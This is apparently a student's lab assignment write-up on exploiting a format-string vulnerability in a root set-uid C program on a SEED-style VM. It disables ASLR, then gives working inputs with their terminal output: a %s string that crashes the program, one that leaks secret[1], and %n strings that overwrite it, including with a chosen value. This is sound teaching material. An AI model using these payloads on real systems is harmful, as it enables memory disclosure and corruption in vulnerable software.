# CS392 – Secure System Design: Threats and Countermeasures

## Midsem Assignment – Format-String Vulnerability

| Name: **M Maheeth Reddy** | Roll No.: **1801CS31** | Date: **23-Feb-2021** |
|---|---|---|

---

**Initial Setup**

Address Space Randomization is disabled using the following command:

***sudo sysctl -w kernel.randomize_va_space=0***

```
[02/23/21]seed@VM:~/ssd/formatstring$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[02/23/21]seed@VM:~/ssd/formatstring$ gcc vul_prog.c -o vul_prog
vul_prog.c: In function 'main':
vul_prog.c:36:12: warning: format not a string literal and no format arguments [
-Wformat-security]
     printf(user_input);
            ^
[02/23/21]seed@VM:~/ssd/formatstring$ sudo chown root vul_prog
[02/23/21]seed@VM:~/ssd/formatstring$ sudo chmod 4755 vul_prog
[02/23/21]seed@VM:~/ssd/formatstring$ ls -l vul_prog
-rwsr-xr-x 1 root seed 7556 Feb 23 19:29 vul_prog
[02/23/21]seed@VM:~/ssd/formatstring$
```

**Compiling the vulnerable program vul_prog.c**

The given program, vul_prog.c has Format-String Vulnerability. Our task is to exploit this vulnerability.

The gcc command in the above screenshot was used to compile vul_prog.c. Since, it is mentioned that the given program is a root set-uid program and runs with root privileges; the chown and chmod commands were used. The permissions for vul_prog executable have been shown in the above screenshot.

**Assignment Task: Exploit the Vulnerability**

**(i) Crash the program**:

```
[02/23/21]seed@VM:~/ssd/formatstring$ ./vul_prog
The variable secret's address is 0xbfffecb8
The variable secret's value is 0x 804b008
secret[0]'s address is 0x 804b008
secret[1]'s address is 0x 804b00c
Please enter a decimal integer
3
Please enter a string
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
Segmentation fault
[02/23/21]seed@VM:~/ssd/formatstring$
```

The program vul_prog.c consists of a character array called user_input into which the user can enter some data. If the user enters a format string like I entered **18 %s format specifiers**, as an input for the user_input string, the printf() function tries to access memory locations that are out of bounds. This is the principle behind attacking by exploiting Format-String Vulnerability. This caused a Segmentation Fault during program execution and it crashed.

**(ii) Print out the secret[1] value**:

To print the **secret[1]** value using the format-string vulnerability, we need to identify the address of secret[1].

```
[02/23/21]seed@VM:~/ssd/formatstring$ ./vul_prog
The variable secret's address is 0xbfffecb8
The variable secret's value is 0x 804b008
secret[0]'s address is 0x 804b008
secret[1]'s address is 0x 804b00c
Please enter a decimal integer
344
Please enter a string
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
bfffecbc.c2.b7e9854b.bfffecde.158.804b008.252e7825.78252e78.2e78252e.252e7825.78
252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
[02/23/21]seed@VM:~/ssd/formatstring$
```

In the screenshot above, the **address of secret[1] is 0x804b00c (134524940 in decimal)**. Notice that it is the same address from previous screenshot as we have disabled Address Space Randomization completely.

In the given program vul_prog.c, the user also inputs a long unsigned integer int_input. To print the value of secret[1], we have to make use of int_input. If we find out the address of int_input, we could run the program for the second time and input the address of secret[1] instead.

In the first run, I entered 344 as value for int_input. Then, I used the format string as shown above to identify the location of int_input with respect to user_input. In the output obtained, there is a number 158 present at the 5$^{th}$ location from user_input. This 158 is actually the hexadecimal representation of 344, which is our int_input.

So, when I run the program for a second time, I will enter secret[1]'s address (134524940 in decimal) as int_input, and the format string **%x.%x.%x.%x.%s** as the user_input. I place %s at the 5$^{th}$ position of the format string so that we can access the data that is present at the address stored in int_input variable. This is how the attack goes:

```
[02/23/21]seed@VM:~/ssd/formatstring$ ./vul_prog
The variable secret's address is 0xbfffecb8
The variable secret's value is 0x 804b008
secret[0]'s address is 0x 804b008
secret[1]'s address is 0x 804b00c
Please enter a decimal integer
134524940
Please enter a string
%x.%x.%x.%x.%s
bfffecbc.c2.b7e9854b.bfffecde.U
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
[02/23/21]seed@VM:~/ssd/formatstring$
```

In the output obtained, we can observe that the character representation of **contents at secret[1]'s address 134524940 is U**. The **ASCII value of U is 85, which is 0x55 in hexadecimal**. Hence, we are able to print the value of secret[1] by exploiting format-string vulnerability.

**(iii) Modify the secret[1] value**:

We will use a slightly modified version of the format string used above: **%x.%x.%x.%x.%n**. The use of %n enables us to overwrite the value of secret[1]. The number of characters printed until %n would be written into secret[1]. **Before %n, 30 characters were printed. Therefore, 30 or 0x1e got stored in secret[1] and its value got modified.**

```
[02/23/21]seed@VM:~/ssd/formatstring$ ./vul_prog
The variable secret's address is 0xbfffecb8
The variable secret's value is 0x 804b008
secret[0]'s address is 0x 804b008
secret[1]'s address is 0x 804b00c
Please enter a decimal integer
134524940
Please enter a string
%x.%x.%x.%x.%n
bfffecbc.c2.b7e9854b.bfffecde.
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x1e
[02/23/21]seed@VM:~/ssd/formatstring$
```

**(iv) Modify the secret[1] value to a pre-determined value (choose any number between 80-100)**:

I want to assign 96 to secret[1]. After printing the contents of the stack in multiple trials, I finally used the format string: **%x.%x.%x.%.74x.%n**. The use of %n enables us to overwrite the value of secret[1]. The number of characters printed until %n would be written into secret[1]. **Before %n, 96 characters will be printed. Therefore, 96 or 0x60 will be stored in secret[1] which lies between 80-100**.

```
[02/23/21]seed@VM:~/ssd/formatstring$ ./vul_prog
The variable secret's address is 0xbfffecb8
The variable secret's value is 0x 804b008
secret[0]'s address is 0x 804b008
secret[1]'s address is 0x 804b00c
Please enter a decimal integer
134524940
Please enter a string
%x.%x.%x.%.74x.%n
bfffecbc.c2.b7e9854b.00000000000000000000000000000000000000000000000000000000000000
0000000bfffecde.
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x60
[02/23/21]seed@VM:~/ssd/formatstring$
```

**Interesting Observations**:

While performing the above tasks, I observed that:

- I can visualize how variables are stored in the program memory stack.
- Access memory locations adjacent to the printf() format string though I didn't declare that I would be using those location as variables.
- Memory is accessed from heap through malloc() and by declaring local pointer variables in the main() function, and accessing them using pointer destructuring.
- The use of %n format specifier in printf() rewrites the value at the address pointed by its corresponding parameter. Hence, we could modify the value of secret[1] using %n.
- I understood the use of modified format specifers like %.74x in printf() which I used in task (iv) for zero-padding the corresponding parameters. This along with the use of %n helped to overwrite the value in secret[1] to a number between 80-100 (96 in my case).